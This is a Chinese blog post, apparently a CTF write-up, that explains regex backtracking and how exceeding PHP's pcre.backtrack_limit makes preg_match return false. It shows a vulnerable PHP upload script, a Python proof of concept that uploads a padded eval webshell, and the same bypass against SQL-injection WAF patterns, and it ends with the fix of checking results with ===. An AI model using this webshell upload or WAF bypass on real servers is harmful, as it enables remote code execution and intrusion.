当前位置:网站首页>利用正则回溯最大次数上限绕过preg_match

利用正则回溯最大次数上限绕过preg_match

2022-08-11 05:18:00 Dawnt0wn

1. 没有回溯的匹配

假设我们的正则是/ab{1,3}c/,其可视化形式是:

而当目标字符串是"abbbc"时,就没有所谓的“回溯”。其匹配过程是:

其中子表达式b{1,3}表示“b”字符连续出现1到3次。

2. 有回溯的匹配

如果目标字符串是"abbc",中间就有回溯。

图中第5步有红颜色,表示匹配不成功。此时b{1,3}已经匹配到了2个字符“b”,准备尝试第三个时,结果发现接下来的字符是“c”。那么就认为b{1,3}就已经匹配完毕。然后状态又回到之前的状态(即第6步,与第4步一样),最后再用子表达式c,去匹配字符“c”。当然,此时整个表达式匹配成功了。

图中的第6步,就是“回溯”。

像{1,3}这种属于贪婪量词他会尽可能多的去匹配,匹配不到时在回溯

  

var string = "12345";
    
    var regex = /(\d{1,3})(\d{1,3})/;
    console.log( string.match(regex) );
    // => ["12345", "123", "45", index: 0, input: "12345"]

其中,前面的\d{1,3}匹配的是"123",后面的\d{1,3}匹配的是"45"。

而惰性量词则相反

惰性量词就是在贪婪量词后面加一个问号

   var string = "12345";
    var regex = /(\d{1,3}?)(\d{1,3})/;
    console.log( string.match(regex) );
    // => ["1234", "1", "234", index: 0, input: "12345"]

其中\d{1,3}?只匹配到一个字符"1",而后面的\d{1,3}匹配了"234"。

虽然惰性量词不贪,但也会有回溯的现象。比如正则是:

目标字符串是"12345",匹配过程是:


虽然惰性量词不贪,但是为了整体匹配成,没办法,也只能给你多塞点了。因此最后\d{1,3}?匹配的字符是"12",是两个数字,而不是一个。

而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

    DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
    
    NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

利用正则回溯最大次数上限进行绕过

源码:

   

  <?php
     function is_php($data){
         return preg_match('/<\?.*[(`;?>].*/is', $data);
     }
    
     if(empty($_FILES)) {
         die(show_source(__FILE__));
     }
    
     $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
     $data = file_get_contents($_FILES['file']['tmp_name']);
     if (is_php($data)) {
         echo "bad request";
     } else {
         @mkdir($user_dir, 0755);
         $path = $user_dir . '/' . random_int(0, 10) . '.php';
         move_uploaded_file($_FILES['file']['tmp_name'], $path);
    
         header("Location: $path", true, 303);
    
     }

一看就是要上传文件进行rce了

但是这里的正则表达式ban掉了<?php 之类的

上文提到的正则回溯然后量过大必然会消耗大量的时间甚至会被DOS攻击

    PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。

我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。

如果长度超过了100万,则会返回false

所以我们可以用超过100万的长度来是preg_match语句返回false从而不进入if循环来达到上传文件的目的

  poc:
    import requests
    from io import BytesIO
    
    url = "http://xxx.xxx.xxx/"
    
    files = {
        'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
    }
    
    res = requests.post(url=url, files=files, allow_redirects=False)
    
    print(res.headers)

然后找到路径,这里可能是ban掉了system这些,所以我直接用蚁剑连接即可

很多基于 PHP 的 WAF,如:

   

<?php
    if(preg_match('/SELECT.+FROM.+/is', $input)) {
        die('SQL Injection');
    }

均存在上述问题,通过大量回溯可以进行绕过。

另外,我遇到更常见的一种 WAF 是:

  <?php
    if(preg_match('/UNION.+?SELECT/is', $input)) {
        die('SQL Injection');
    }

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

    .+? 匹配到/
    
    因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*
    
    S 匹配*失败,回溯,再由.+? 匹配*
    
    因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a
    
    S 匹配 a 失败,回溯,再由.+? 匹配 a
    
    ...
    
    回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

其实在官方文档里面介绍了

用preg_match一定要用===来判断返回值

参考链接:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

原网站

版权声明
本文为[Dawnt0wn]所创,转载请带上原文链接,感谢
https://blog.csdn.net/yourdawntown/article/details/120558237